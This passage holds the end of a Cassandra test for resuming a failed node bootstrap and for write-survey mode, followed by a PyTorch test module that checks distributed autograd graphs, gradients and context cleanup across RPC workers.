node1.byteman_submit([self.byteman_submit_path_pre_4_0]) else: node1.byteman_submit([self.byteman_submit_path_4_0]) node1.stress(['write', 'n=1K', 'no-warmup', 'cl=ONE', '-schema', 'replication(factor=3)', '-rate', 'threads=50', '-mode', 'native', 'cql3', 'user=cassandra', 'password=cassandra']) cluster.flush() # start bootstrapping node2 and wait for streaming node2 = new_node(cluster) node2.set_configuration_options(values=config) node2.byteman_port = '8101' # set for when we add node3 node2.import_config_files() node2.start(jvm_args=["-Dcassandra.ring_delay_ms=5000"]) self.assert_log_had_msg(node2, 'Some data streaming failed') try: node2.nodetool('join') pytest.fail('nodetool should have errored and failed to join ring') except ToolError as t: assert "Cannot join the ring until bootstrap completes" in t.stdout node2.nodetool('bootstrap resume') node2.wait_for_binary_interface() assert_bootstrap_state(self, node2, 'COMPLETED', user='cassandra', password='cassandra') # Test write survey behaviour node3 = new_node(cluster) node3.set_configuration_options(values=config) # kill stream to node3 in the middle of streaming to let it fail if cluster.version() < '4.0': node1.byteman_submit([self.byteman_submit_path_pre_4_0]) node2.byteman_submit([self.byteman_submit_path_pre_4_0]) else: node1.byteman_submit([self.byteman_submit_path_4_0]) node2.byteman_submit([self.byteman_submit_path_4_0]) node3.start(jvm_args=["-Dcassandra.write_survey=true", "-Dcassandra.ring_delay_ms=5000"]) self.assert_log_had_msg(node3, 'Some data streaming failed') self.assert_log_had_msg(node3, "Not starting client transports in write_survey mode as it's bootstrapping or auth is enabled") try: node3.nodetool('join') pytest.fail('nodetool should have errored and failed to join ring') except ToolError as t: assert "Cannot join the ring until bootstrap completes" in t.stdout node3.nodetool('bootstrap resume') self.assert_log_had_msg(node3, "Not starting client transports in write_survey mode as it's bootstrapping or auth is enabled") # Should succeed in joining node3.nodetool('join') self.assert_log_had_msg(node3, "Leaving write survey mode and joining ring at operator request") assert_bootstrap_state(self, node3, 'COMPLETED', user='cassandra', password='cassandra') node3.wait_for_binary_interface()
dist_autograd_test.py
import sys import threading import time from enum import Enum import random import torch import torch.nn as nn from datetime import timedelta import torch.distributed as dist import torch.distributed.autograd as dist_autograd import torch.distributed.rpc as rpc import torch.testing._internal.dist_utils from torch.autograd import Function from torch.autograd.function import once_differentiable from torch.distributed.rpc import RRef from torch.testing._internal.common_utils import IS_MACOS, sandcastle_skip_if from torch.testing._internal.dist_utils import ( dist_init, initialize_pg, wait_until_node_failure, worker_name, ) from torch.testing._internal.distributed.rpc.rpc_agent_test_fixture import ( RpcAgentTestFixture, ) from torch.testing._internal.common_distributed import skip_if_lt_x_gpu # Right now we test up to 3-layer nested rpc calls. # rpc_done[1] and ctx_ids[1] represent rpc is done in prev rank, and context id # sent from prev rank respectively. # rpc_done[2] and ctx_ids[2] represents for prev of prev rank. # rpc_done[3] and ctx_ids[3] represents for prev of prev of prev rank. # rpc_done[0] and ctx_ids[0] represents for current rank, but mostly not used. rpc_done = [False, False, False, False] ctx_ids = [-1, -1, -1, -1] known_context_ids = set() requires_grad_tensor = torch.ones(3, 3, requires_grad=True) # Send rpc done info and context_id to # dst_rank = (self.rank + rank_distance) % self.world_size # we don't need a lock here since the GIL is held while executing remote # python UDFs, so access is serialized across several workers. def _set_rpc_done(ctx_id, rank_distance): global rpc_done global ctx_ids global known_context_ids rpc_done[rank_distance] = True ctx_ids[rank_distance] = ctx_id known_context_ids.add(ctx_id) def _check_rpc_done(rank_distance): while not rpc_done[rank_distance]: time.sleep(0.1) def _torch_ones(sizes, requires_grad=False): return torch.ones(sizes, requires_grad=requires_grad) # This method must be called on the rref owner, and verifies that the grad of # rref tensor equals to the given grad. def _compare_owner_value(context_id, rref, grad): grads = dist_autograd.get_gradients(context_id) x = grads[rref.local_value()] if x.is_sparse: assert grad.is_sparse x = x.to_dense() grad = grad.to_dense() else: assert not grad.is_sparse return torch.equal(x, grad) def create_tensor(): return torch.ones((3, 3), requires_grad=True) def build_sparse_tensor(coalesce=False, requires_grad=True, dtype=torch.float32): i = [[0, 1, 1], [2, 0, 2]] v = [3.2, 4.1, 5.3] tensor = torch.sparse_coo_tensor(i, v, (3, 3), requires_grad=requires_grad, dtype=dtype) if coalesce: tensor = tensor.coalesce() return tensor @torch.jit.script def create_torchscript_tensor() -> torch.Tensor: return torch.ones((3, 3)).requires_grad_() def my_py_add(t1, t2): return torch.add(t1, t2) def my_scalar_add(a, b): return a + b def my_rref_add(rref_t1, t2): ret = torch.add(rref_t1.local_value(), t2) return ret @torch.jit.script def my_script_add(t1, t2): return torch.add(t1, t2) @torch.jit.script def my_script_ref_add(ref_t1: RRef[torch.Tensor], t2: torch.Tensor) -> torch.Tensor: t1 = ref_t1.to_here() return torch.add(t1, t2) def my_nested_rref_add(dst, rref_t1, t2): return rpc.rpc_sync(dst, my_rref_add, args=(rref_t1, t2)) def ret_requires_grad(): return requires_grad_tensor def my_py_nested_call(t1, t2, dst, world_size, hops): next_dst = (dst + 1) % world_size if hops > 0: return rpc.rpc_sync( worker_name(next_dst), my_py_nested_call, args=(t1, t2, next_dst, world_size, hops - 1), ) else: return rpc.rpc_sync(worker_name(next_dst), my_py_add, args=(t1, t2)) # after dist autograd context is cleaned up, it should be cleaned up on other # nodes. This helper allows timeout_seconds for those RPCs to be completed, and # ensures that all the contexts have been cleaned up in that timeframe.any def _all_contexts_cleaned_up(timeout_seconds=10): global known_context_ids start = time.time() context_id_to_raised = set() while ( time.time() - start < timeout_seconds and context_id_to_raised != known_context_ids ): for context_id in known_context_ids: try: dist_autograd._retrieve_context(context_id) except RuntimeError: context_id_to_raised.add(context_id) # all contexts have been cleaned up if trying to retrieve any context resulted in a RuntimeError. success = context_id_to_raised == known_context_ids return success # This function creates a dis atugorad context, run rpc_sync on the given ps, # and then blocks until the ps has verified the grads are correctly accumulated. def _run_trainer(rref_t1, t2, ps, rank_diff, sparse): with dist_autograd.context() as context_id: ret = rpc.rpc_sync(ps, my_rref_add, args=(rref_t1, t2)) if sparse: loss = torch.sparse.sum(ret) else: loss = ret.sum() dist_autograd.backward(context_id, [loss]) # prevent deleting dist autograd context rpc.rpc_sync(ps, _set_rpc_done, args=(context_id, rank_diff)) rpc.rpc_sync(ps, _check_rpc_done, args=(0,)) # This function is the same as _run_trainer, except rpc calls torchscript # function "my_script_ref_add" instead of python funciton "my_rref_add" def _run_trainer_torchscript(rref_t1, t2, ps, rank_diff, sparse): with dist_autograd.context() as context_id: ret = rpc.rpc_sync(ps, my_script_ref_add, args=(rref_t1, t2)) if sparse: loss = torch.sparse.sum(ret) else: loss = ret.sum() dist_autograd.backward(context_id, [loss]) # prevent deleting dist autograd context rpc.rpc_sync(ps, _set_rpc_done, args=(context_id, rank_diff)) rpc.rpc_sync(ps, _check_rpc_done, args=(0,)) class SimulateBackwardError(Function): _simulate_error = True @staticmethod def forward(ctx, input): return input @staticmethod @once_differentiable def backward(ctx, input): if SimulateBackwardError._simulate_error: raise Exception("Simulate error on backward pass") else: return input class ExecMode(Enum): LOCAL = 1 # Run the operation locally. RPC_SYNC = 2 # Run the operation using rpc_sync REMOTE = 3 # Run the operation using remote. RPC_ASYNC = 4 # Run the operation using rpc_async # Common utils for both CPU and CUDA test suites class CommonDistAutogradTest(RpcAgentTestFixture): def _exec_func_with_dst(self, dst, exec_mode, method, *args): if ExecMode.LOCAL == exec_mode: if len(args) == 1 and isinstance(args[0], list): return method(*args[0]) return method(*args) elif ExecMode.RPC_SYNC == exec_mode: return rpc.rpc_sync(worker_name(dst), method, args=(args)) elif ExecMode.REMOTE == exec_mode: return rpc.remote(worker_name(dst), method, args=(args)).to_here() elif ExecMode.RPC_ASYNC == exec_mode: fut = rpc.rpc_async(worker_name(dst), method, args=(args)) return fut.wait() else: raise ValueError("Unrecognized ExecMode {}".format(exec_mode)) def _exec_func(self, exec_mode, method, *args): return self._exec_func_with_dst( self._next_rank(), exec_mode, method, *args ) def _next_rank(self): if hasattr(self, "dst_rank"): self.dst_rank = (self.dst_rank + 1) % self.world_size if self.dst_rank == self.rank: return self._next_rank() else: self.dst_rank = (self.rank + 1) % self.world_size return self.dst_rank def _check_rpc_done(self, rank_distance): _check_rpc_done(rank_distance) def _verify_backwards(self, exec_mode, tensors, context_id, local_grads, *args): if exec_mode == ExecMode.LOCAL: torch.autograd.backward(tensors) return [arg.grad for arg in args] else: self._verify_backwards_remote(tensors, context_id, local_grads, *args) def _verify_backwards_remote(self, tensors, context_id, local_grads, *args): dist_autograd.backward(context_id, tensors) # Verify grads were accumulated appropriately. grads = dist_autograd.get_gradients(context_id) nargs = len(args) ngrads = 0 for i in range(0, nargs): if local_grads[i] is not None: self.assertIn(args[i], grads) self.assertEqual(local_grads[i], grads[args[i]]) ngrads += 1 else: self.assertNotIn(args[i], grads) self.assertEqual(ngrads, len(grads)) def _test_graph(self, fn, exec_mode, sparse): dst_rank = (self.rank + 1) % self.world_size initialize_pg(self.file_init_method, self.rank, self.world_size) with dist_autograd.context() as context_id: if sparse: t1 = build_sparse_tensor() t2 = build_sparse_tensor() else: t1 = torch.ones(3, 3, requires_grad=True) t2 = torch.zeros(3, 3, requires_grad=True) if ExecMode.RPC_SYNC == exec_mode: ret = rpc.rpc_sync(worker_name(dst_rank), fn, args=(t1, t2)) elif ExecMode.REMOTE == exec_mode: ret = rpc.remote( worker_name(dst_rank), fn, args=(t1, t2) ).to_here() else: raise ValueError("Unrecognized ExecMode {}".format(exec_mode)) rpc.rpc_sync( worker_name(dst_rank), _set_rpc_done, args=(context_id, 1) ) # Verify graph for current context id. ctx = dist_autograd._current_context() self.assertEqual(context_id, ctx._context_id()) send_functions = ctx._send_functions() self.assertEqual(1, len(send_functions)) recv_functions = ctx._recv_functions() self.assertEqual(1, len(recv_functions)) self._verify_graph_for_first_rpc_call( list(send_functions.values())[0], list(recv_functions.values())[0], t1, t2, ret, ) # Wait for the prev rank to be done with rpc. self._check_rpc_done(1) # Verify graph for previous context id. ctx = dist_autograd._retrieve_context(ctx_ids[1]) send_functions = ctx._send_functions() self.assertEqual(1, len(send_functions)) self._verify_graph_for_rpc_call_exec(list(send_functions.values())[0]) # this barrier is needed so one worker does not clean up their # autograd context before another worker tries to access it. dist.barrier() # autograd context should be cleaned up by now. with self.assertRaises(RuntimeError): ctx = dist_autograd._retrieve_context(context_id) # No autograd context available. with self.assertRaises(RuntimeError): ctx = dist_autograd._current_context() # 3-layer nested calls def _test_graph_for_py_nested_call(self, exec_mode, sparse): dst_rank = (self.rank + 1) % self.world_size initialize_pg(self.file_init_method, self.rank, self.world_size) with dist_autograd.context() as context_id: if sparse: t1 = build_sparse_tensor(requires_grad=True) t2 = build_sparse_tensor(requires_grad=True) else: t1 = torch.ones(3, 3, requires_grad=True) t2 = torch.zeros(3, 3, requires_grad=True) nest_dst_rank = (dst_rank + 1) % self.world_size if ExecMode.RPC_SYNC == exec_mode: ret = rpc.rpc_sync( worker_name(dst_rank), my_py_nested_call, args=(t1, t2, dst_rank, self.world_size, 1), ) elif ExecMode.REMOTE == exec_mode: ret = rpc.remote( worker_name(dst_rank), my_py_nested_call, args=(t1, t2, dst_rank, self.world_size, 1), ).to_here() else: raise ValueError("Unrecognized ExecMode {}".format(exec_mode)) # Barrier to ensure all RPCs are done. dist.barrier() for rd in [1, 2, 3]: rpc.rpc_sync( worker_name((self.rank + rd) % self.world_size), _set_rpc_done, args=(context_id, rd), ) # Barrier to ensure all set_rpc_done have completed. dist.barrier() # For self.rank, it has 4 graphs to verify # One is for current context id when this rank send first rpc call. # Second one is for prev context id when this rank make 1st nested # call. # Third one is for prev prev context id when this rank make # 2nd nested call. # Last one is for prev prev prev context id when this rank # execute the torch.add() operator. # Verify first graph for current context id. ctx = dist_autograd._current_context() self.assertEqual(context_id, ctx._context_id()) send_functions = ctx._send_functions() self.assertEqual(1, len(send_functions)) recv_functions = ctx._recv_functions() self.assertEqual(1, len(recv_functions)) self._verify_graph_for_first_rpc_call( list(send_functions.values())[0], list(recv_functions.values())[0], t1, t2, ret, ) # Verify second graph for 1st nested call. ctx = dist_autograd._retrieve_context(ctx_ids[1]) self._verify_graph_for_nested_rpc_call(ctx) # Verify third graph for 2nd nested call. ctx = dist_autograd._retrieve_context(ctx_ids[2]) self._verify_graph_for_nested_rpc_call(ctx) # verify last graph for rpc call execution. ctx = dist_autograd._retrieve_context(ctx_ids[3]) send_functions = ctx._send_functions() self.assertEqual(1, len(send_functions)) self._verify_graph_for_rpc_call_exec(list(send_functions.values())[0]) # this barrier is needed so one worker does not clean up their # autograd context before another worker tries to access it. dist.barrier() # Rank0->Rank1->Rank0 def _test_graph_for_py_nested_call_itself(self, exec_mode, sparse): dst_rank = (self.rank + 1) % self.world_size initialize_pg(self.file_init_method, self.rank, self.world_size) with dist_autograd.context() as context_id: if sparse: t1 = build_sparse_tensor(requires_grad=True) t2 = build_sparse_tensor(requires_grad=True) else: t1 = torch.ones(3, 3, requires_grad=True) t2 = torch.zeros(3, 3, requires_grad=True) if ExecMode.RPC_SYNC == exec_mode: ret = rpc.rpc_sync( worker_name(dst_rank), my_py_nested_call, args=( t1, t2, (self.rank - 1 + self.world_size) % self.world_size, self.world_size, 0, ), ) elif ExecMode.REMOTE == exec_mode: ret = rpc.remote( worker_name(dst_rank), my_py_nested_call, args=( t1, t2, (self.rank - 1 + self.world_size) % self.world_size, self.world_size, 0, ), ).to_here() else: raise ValueError("Unrecognized ExecMode {}".format(exec_mode)) rpc.rpc_sync( worker_name((self.rank + 1) % self.world_size), _set_rpc_done, args=(context_id, 1), ) # For self.rank, it has 2 graphs to verify. # One is for current context id when this rank send first rpc # call and execute the torch.add() operator. # Another one is for prev context id when this rank make # nested call. ctx = dist_autograd._current_context() self.assertEqual(context_id, ctx._context_id()) send_functions = ctx._send_functions() self.assertEqual(2, len(send_functions)) recv_functions = ctx._recv_functions() self.assertEqual(2, len(recv_functions)) self._verify_graph_for_first_rpc_call( list(send_functions.values())[0], list(recv_functions.values())[1], t1, t2, ret, ) self._verify_graph_for_rpc_call_exec(list(send_functions.values())[1]) # Verify two pairs of send and recv functions for nested # call self._check_rpc_done(1) ctx = dist_autograd._retrieve_context(ctx_ids[1]) self._verify_graph_for_nested_rpc_call(ctx) # this barrier is needed so one worker does not clean up their # autograd context before another worker tries to access it. dist.barrier() def _test_no_graph_with_tensors_not_require_grad(self, exec_mode, sparse): initialize_pg(self.file_init_method, self.rank, self.world_size) dst_rank = (self.rank + 1) % self.world_size with dist_autograd.context() as context_id: if sparse: t1 = build_sparse_tensor(requires_grad=False) t2 = build_sparse_tensor(requires_grad=False) else: t1 = torch.ones(3, 3, requires_grad=False) t2 = torch.zeros(3, 3, requires_grad=False) if ExecMode.RPC_SYNC == exec_mode: ret = rpc.rpc_sync( worker_name(dst_rank), torch.add, args=(t1, t2) ) elif ExecMode.REMOTE == exec_mode: ret = rpc.remote( worker_name(dst_rank), torch.add, args=(t1, t2) ).to_here() else: raise ValueError("Unrecognized ExecMode {}".format(exec_mode)) rpc.rpc_sync( worker_name(dst_rank), _set_rpc_done, args=(context_id, 1) ) ctx = dist_autograd._current_context() send_functions = ctx._send_functions() self.assertEqual(len(send_functions), 0) recv_functions = ctx._recv_functions() self.assertEqual(len(recv_functions), 0) # Wait for the prev rank to be done with rpc. self._check_rpc_done(1) # NB: RRef.to_here() always passes the autograd context to the # the callee, as the caller does not know whether the return # value would contain a requires_grad tensor or not. # # rpc/remote with udf (_set_rpc_done here) also always passes the # autograd context to the callee due to the same reason. self.assertNotEqual(-1, dist_autograd._retrieve_context(ctx_ids[1])) dist.barrier() def _test_rpc_complex_args(self, exec_mode, sparse): with dist_autograd.context() as context_id: num_tensors = 10 tensors = [] for i in range(num_tensors): if sparse: tensor = build_sparse_tensor(requires_grad=(i % 2 == 0)) else: tensor = torch.ones(3, 3, requires_grad=(i % 2 == 0)) tensors.append(tensor) dst_rank = self._next_rank() if ExecMode.RPC_SYNC == exec_mode: ret = rpc.rpc_sync( worker_name(dst_rank), torch.stack, args=(tensors,) ) elif ExecMode.REMOTE == exec_mode: ret = rpc.remote( worker_name(dst_rank), torch.stack, args=(tensors,) ).to_here() else: raise ValueError("Unrecognized ExecMode {}".format(exec_mode)) self.assertEqual(torch.stack(tensors), ret) # Verify appropriate tensors have been attached the autograd graph. next_funcs = list( dist_autograd._current_context()._send_functions().values() )[0].next_functions idx = 0 for i in range(len(next_funcs)): self.assertEqual( "torch::autograd::AccumulateGrad", next_funcs[i][0].name() ) self.assertEqual(tensors[i], next_funcs[i][0].variable) # Verify that the worker id has been recorded in the context ctx = dist_autograd._current_context() worker_ids = ctx._known_worker_ids() self.assertEqual(len(worker_ids), 1) self.assertEqual(worker_ids, {dst_rank}) def context_cleanup_test_helper(self, rpc_args, func, nested=False): initialize_pg(self.file_init_method, self.rank, self.world_size) # test that in dist autograd, in the case that tensors communicated over RPC do # NOT require grad, we still cleanup the dist autograd contexts created # on other nodes. This is because the autograd context is still # communicated over RPC even if tensor arguments do not require grad, as # it is possible that the response could. if nested: dst_rank = (self.rank + 1) % self.world_size nested_dst_rank = (dst_rank + 1) % self.world_size dst_ranks = {dst_rank} else: dst_ranks = {rank for rank in range(self.world_size) if rank != self.rank} with dist_autograd.context() as context_id: for dst_rank in dst_ranks: rpc.rpc_sync(worker_name(dst_rank), func, args=rpc_args) rpc.rpc_sync( worker_name(dst_rank), _set_rpc_done, args=(context_id, 1) ) if nested: rpc.rpc_sync( worker_name(nested_dst_rank), _set_rpc_done, args=(context_id, 2), ) # the thread's context id should be cleaned up with self.assertRaises(RuntimeError): dist_autograd._retrieve_context(context_id) # Ensure all peers have finished mutating the # `known_context_ids` set. dist.barrier() # check that all contexts have been cleaned up. success = _all_contexts_cleaned_up() self.assertTrue(success) def _backward_no_grad_on_tensor(self, t1, t2, sparse): with dist_autograd.context() as context_id: loss = rpc.rpc_sync( worker_name(self._next_rank()), torch.add, args=(t1, t2)) if sparse: loss = torch.sparse.sum(loss) else: loss = loss.sum() dist_autograd.backward(context_id, [loss], retain_graph=True) self.assertIsNone(t1.grad) self.assertIsNone(t2.grad) # Now populate .grad with local autograd engine and # verify dist autograd doesn't mess with it. loss_local = torch.add(t1, t2) if sparse: loss_local = torch.sparse.sum(loss_local) else: loss_local = loss_local.sum() loss_local.backward() self.assertIsNotNone(t1.grad) self.assertIsNotNone(t2.grad) t1_grad_before = t1.grad t2_grad_before = t2.grad dist_autograd.backward(context_id, [loss]) self.assertEqual(t1_grad_before, t1.grad) self.assertEqual(t2_grad_before, t2.grad) # The current rank first creates a tensor on the rref_owner, and then passes # the rref with another tensor to the callee to run either my_rref_add or # my_nested_rref_add, depending on whether the callee is the rref owner. # The grad of tensor lives on the current rank, and the grad of the rref # tensor lives on the rref owner. def _backward_rref(self, callee, rref_owner, t1, t2, local_grads, sparse): local_ret = torch.add(t1, t2) if sparse: local_ret = torch.sparse.sum(local_ret) else: local_ret = local_ret.sum() local_ret.backward() with dist_autograd.context() as context_id: if sparse: rref_t1 = rpc.remote( rref_owner, build_sparse_tensor, args=(False, True,) ) else: rref_t1 = rpc.remote( rref_owner, _torch_ones, args=((3, 3),), kwargs={"requires_grad": True} ) if callee == rref_owner: rref = rpc.remote(callee, my_rref_add, args=(rref_t1, t2)) else: rref = rpc.remote( callee, my_nested_rref_add, args=(rref_owner, rref_t1, t2) ) ret = rref.to_here() if sparse: ret = torch.sparse.sum(ret) else: ret = ret.sum() dist_autograd.backward(context_id, [ret]) # verify grads on caller grads = dist_autograd.get_gradients(context_id) self.assertIn(t2, grads) self.assertEqual(grads[t2], t2.grad) # verify grads on rref owner self.assertTrue( rpc.rpc_sync( rref_owner, _compare_owner_value, args=(context_id, rref_t1, t1.grad), ) ) # In this test, every rank will serve as a parameter server (ps) and a # driver, and then kicks off trainers on the other three ranks. So, we have: # ps = rank0 with trainers = rank1/2/3 # ps = rank2 with trainers = rank2/3/0 # ps = rank3 with trainers = rank3/0/1 # ps = rank4 with trainers = rank0/1/2 # # These four test ps-trainer groups run on completely separate autograd # graphs, but they share the same set of underlying RpcAgents. def _test_trainer_ps(self, create_ref_fn, trainer_fn, sparse): if sparse: t1 = build_sparse_tensor(requires_grad=True) t2 = build_sparse_tensor(requires_grad=True) else: t1 = torch.ones((3, 3), requires_grad=True) t2 = torch.zeros((3, 3), requires_grad=True) local_ret = torch.add(t1, t2) if sparse: torch.sparse.sum(local_ret).backward() else: local_ret.sum().backward() # create rref on self rref_t1 = rpc.remote( worker_name(self.rank), create_ref_fn, args=()) # kick off forward and backward pass on three other workers (trainers) rank_diffs = [1, 2, 3] futures = [] for rank_diff in rank_diffs: futures.append( rpc.rpc_async( worker_name((self.rank + rank_diff) % self.world_size), trainer_fn, args=(rref_t1, t2, worker_name(self.rank), rank_diff, sparse), ) ) # check if the trainers have done with their backward pass for rank_diff in rank_diffs: self._check_rpc_done(rank_diff) # trainers are done and holding the context for verification accumulate_grad_func = None for rank_diff in rank_diffs: # make sure grads are accumulated for the same tensors and values # are all correct ctx_id = ctx_ids[rank_diff] grads = dist_autograd.get_gradients(ctx_id) local_t1 = rref_t1.to_here() self.assertIn(local_t1, grads) self.assertEqual(grads[local_t1], t1.grad) # unblock trainers _set_rpc_done(None, 0) # wait until all trainers are done torch.futures.wait_all(futures) def _backward_multiple_round_trips(self, t1, t2, t3, t4, t5, local_grads, sparse): for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC, ExecMode.REMOTE]: with dist_autograd.context() as context_id: # Multiple RPCs between different nodes. val = self._exec_func(exec_mode, torch.add, t1, t2) val = self._exec_func(exec_mode, torch.mul, t3, val) s1 = self._exec_func(exec_mode, torch.stack, (t4, val)) s2 = self._exec_func(exec_mode, torch.stack, (t5, val)) if sparse: val = self._exec_func(exec_mode, torch.mul, s1, s2) val = self._exec_func(exec_mode, torch.mul, val, val) loss = torch.sparse.sum(val) else: val = self._exec_func(exec_mode, torch.bmm, s1, s2) val = self._exec_func(exec_mode, torch.matmul, val, val) loss = val.sum() ret = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2, t3, t4, t5 ) local_grads = ret if ret else local_grads def _backward_different_dtypes(self, t1, t2, sparse): local_grads = None for exec_mode in [ExecMode.LOCAL, ExecMode.REMOTE]: with dist_autograd.context() as context_id: loss = self._exec_func(exec_mode, torch.add, t1, t2) if sparse: loss = torch.sparse.sum(loss) else: loss = loss.sum() local_grads = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2 ) # Run the same code locally and with dist autograd and verify gradients # are same. def _backward_simple_python_udf(self, t1, t2, sparse): local_grads = None for exec_mode in [ExecMode.LOCAL, ExecMode.REMOTE]: with dist_autograd.context() as context_id: ret = self._exec_func(exec_mode, my_py_add, t1, t2) if sparse: loss = torch.sparse.sum(ret) else: loss = ret.sum() local_grads = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2 ) # Run the same code locally and with dist autograd and verify gradients # are same. def _backward_simple_script_call(self, t1, t2, sparse): local_grads = None for exec_mode in [ ExecMode.LOCAL, ExecMode.RPC_SYNC, ExecMode.RPC_ASYNC, ExecMode.REMOTE, ]: with dist_autograd.context() as context_id: forward_ret = self._exec_func(exec_mode, my_script_add, t1, t2) if sparse: loss = torch.sparse.sum(forward_ret) else: loss = forward_ret.sum() ret = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2 ) local_grads = ret if ret else local_grads def _nested_backward_accumulate_grads(self, t1, t2, sparse): with dist_autograd.context() as context_id: ret = rpc.rpc_sync( worker_name(self._next_rank()), DistAutogradTest._test_nested_backward_accumulate_grads, args=(t1, t2, self._next_rank()), ) if sparse: loss = torch.sparse.sum(ret) else: loss = ret.sum() # Run backward twice. dist_autograd.backward(context_id, [loss], retain_graph=True) dist_autograd.backward(context_id, [loss]) def _backwards_nested_python_udf(self, t1, t2, sparse): t3 = t1 * t2 t4 = t1 + t2 res = t3 + t4 loss = t1 * t2 * t3 * t4 * res if sparse: loss = torch.sparse.sum(loss) else: loss = loss.sum() torch.autograd.backward([loss]) # Now run distributed autograd. with dist_autograd.context() as context_id: loss = rpc.rpc_sync( worker_name(self._next_rank()), DistAutogradTest._nested_python_udf, args=(t1, t2, self._next_rank()), ) if sparse: loss = torch.sparse.sum(loss) else: loss = loss.sum() dist_autograd.backward(context_id, [loss]) grads = dist_autograd.get_gradients(context_id) self.assertEqual(t1.grad, grads[t1]) self.assertEqual(t2.grad, grads[t2]) def _mixed_requires_grad(self, t1, t2, sparse): for exec_mode in [ExecMode.RPC_SYNC, ExecMode.REMOTE]: with dist_autograd.context() as context_id: ret = self._exec_func( exec_mode, DistAutogradTest._mixed_requires_grad_operaton, t1, t2 ) self.assertEqual(t1 * t2, ret) if sparse: loss = torch.sparse.sum(ret) else: loss = ret.sum() dist_autograd.backward(context_id, [loss]) self.assertTrue(t1.requires_grad) self.assertFalse(t2.requires_grad) grads = dist_autograd.get_gradients(context_id) self.assertIn(t1, grads) self.assertNotIn(t2, grads) self.assertEqual(t2, grads[t1]) def _multiple_backward(self, t1, t2, sparse): with dist_autograd.context() as context_id: loss = rpc.rpc_sync( worker_name(self._next_rank()), torch.add, args=(t1, t2)) if sparse: loss = torch.sparse.sum(loss) else: loss = loss.sum() # Run backward in a loop multiple times. for i in range(1000): dist_autograd.backward(context_id, [loss], retain_graph=True) # For current context, this rank sends t1 and t2 tensors to dst_rank, # then get t3 = torch.add(t1, t2) result tensor. # For the current context in this rank, it expects graph like this: # send function: # rpcSendBackward # / \ # t1.AccumulateGrad t2.AccumulateGrad # # recv function: # # | # t3.rpcRecvBackward # def _verify_graph_for_first_rpc_call( self, send_function, recv_function, t1, t2, ret ): # Retrieve the next functions in the graph. next_funcs = send_function.next_functions self.assertEqual(2, len(next_funcs)) # We should now hit t1 and t2 in the autograd graph. self.assertEqual("torch::autograd::AccumulateGrad", next_funcs[0][0].name()) self.assertEqual(t1, next_funcs[0][0].variable) self.assertEqual(0, next_funcs[0][1]) self.assertEqual("torch::autograd::AccumulateGrad", next_funcs[1][0].name()) self.assertEqual(t2, next_funcs[1][0].variable) self.assertEqual(0, next_funcs[1][1]) # Test recv functions. self.assertEqual(ret.grad_fn, recv_function) # Run the same code locally and with dist autograd and verify gradients # are same. def _backward_simple(self, dst, t1, t2, local_grads, sparse): for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC, ExecMode.REMOTE]: with dist_autograd.context() as context_id: ret = self._exec_func_with_dst( dst, exec_mode, torch.add, t1, t2 ) if sparse: loss = torch.sparse.sum(ret) else: loss = ret.sum() ret = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2 ) local_grads = ret if ret else local_grads # For a context passed from previous nested chain calls, this rank # receives two tensors t1 and t2, executes torch.add(t1, t2) and sends # result tensor t3 back. # For this context in this rank, it expects graph like this: # send and recv functions: # rpcSendBackward # | # t3.AddBackward0 # / \ # t1.recvRpcBackward t2.recvRpcBackward def _verify_graph_for_rpc_call_exec(self, send_function): # Verify next function is AddBackward0 next_funcs = send_function.next_functions self.assertEqual(1, len(next_funcs)) add_backward_fn = next_funcs[0][0] self.assertEqual("AddBackward0", add_backward_fn.name()) # Verify the next two functions are the same recv backward function. next_funcs = add_backward_fn.next_functions self.assertEqual(2, len(next_funcs)) self.assertEqual( "torch::distributed::autograd::RecvRpcBackward", next_funcs[0][0].name() ) self.assertEqual( "torch::distributed::autograd::RecvRpcBackward", next_funcs[1][0].name() ) self.assertEqual(next_funcs[0][0], next_funcs[1][0]) # For a context passed from previous nested chain calls, this rank # receives two tensors t1 and t2, forwards t1 and t2 tensors using # nested rpc call to next dst. In return route, receive result tensor t3 # from next dst and forwarding t3 back to previous calls. # For this context in this rank, it expects graph like this: # send and recv functions for receiving and forwarding t1 and t2: # rpcSendBackward # / \ # t1.recvRpcBackward t2.recvRpcBackward # send and recv functions for receiving and forwarding t3: # rpcSendBackward # | # t3.recvRpcBackward def _verify_graph_for_nested_rpc_call(self, ctx): send_functions = ctx._send_functions() self.assertEqual(2, len(send_functions)) # For send function when making nest rpc call, # next functions of the send function are two recv functions # for received two tensors from previous call next_funcs = list(send_functions.values())[0].next_functions self.assertEqual(2, len(next_funcs)) self.assertEqual( "torch::distributed::autograd::RecvRpcBackward", next_funcs[0][0].name() ) self.assertEqual( "torch::distributed::autograd::RecvRpcBackward", next_funcs[1][0].name() ) self.assertEqual(next_funcs[0][0], next_funcs[1][0]) # For send function when returning resonpose to previous call # next function of the send function is the recv function # for received tensor result returned from nested call next_funcs = list(send_functions.values())[1].next_functions self.assertEqual(1, len(next_funcs)) self.assertEqual( "torch::distributed::autograd::RecvRpcBackward", next_funcs[0][0].name() ) class TensorPipeAgentDistAutogradTest(CommonDistAutogradTest): # Sparse tests only work with TensorPipeAgent. @dist_init def test_graph_for_builtin_call_sparse(self): self._test_graph(torch.add, ExecMode.RPC_SYNC, True) @dist_init def test_graph_for_python_call_sparse(self): self._test_graph(my_py_add, ExecMode.RPC_SYNC, True) @dist_init def test_graph_for_builtin_remote_call_sparse(self): self._test_graph(torch.add, ExecMode.REMOTE, True) @dist_init def test_graph_for_python_remote_call_sparse(self): self._test_graph(my_py_add, ExecMode.REMOTE, True) @dist_init def test_graph_for_py_nested_call_sparse(self): self._test_graph_for_py_nested_call(ExecMode.RPC_SYNC, True) @dist_init def test_graph_for_py_nested_remote_call_sparse(self): self._test_graph_for_py_nested_call(ExecMode.REMOTE, True) @dist_init def test_graph_for_py_nested_call_itself_sparse(self): self._test_graph_for_py_nested_call_itself(ExecMode.RPC_SYNC, True) @dist_init def test_graph_for_py_nested_remote_call_itself_sparse(self): self._test_graph_for_py_nested_call_itself(ExecMode.REMOTE, True) @dist_init def test_no_graph_with_tensors_not_require_grad_sparse(self): self._test_no_graph_with_tensors_not_require_grad(ExecMode.RPC_SYNC, True) 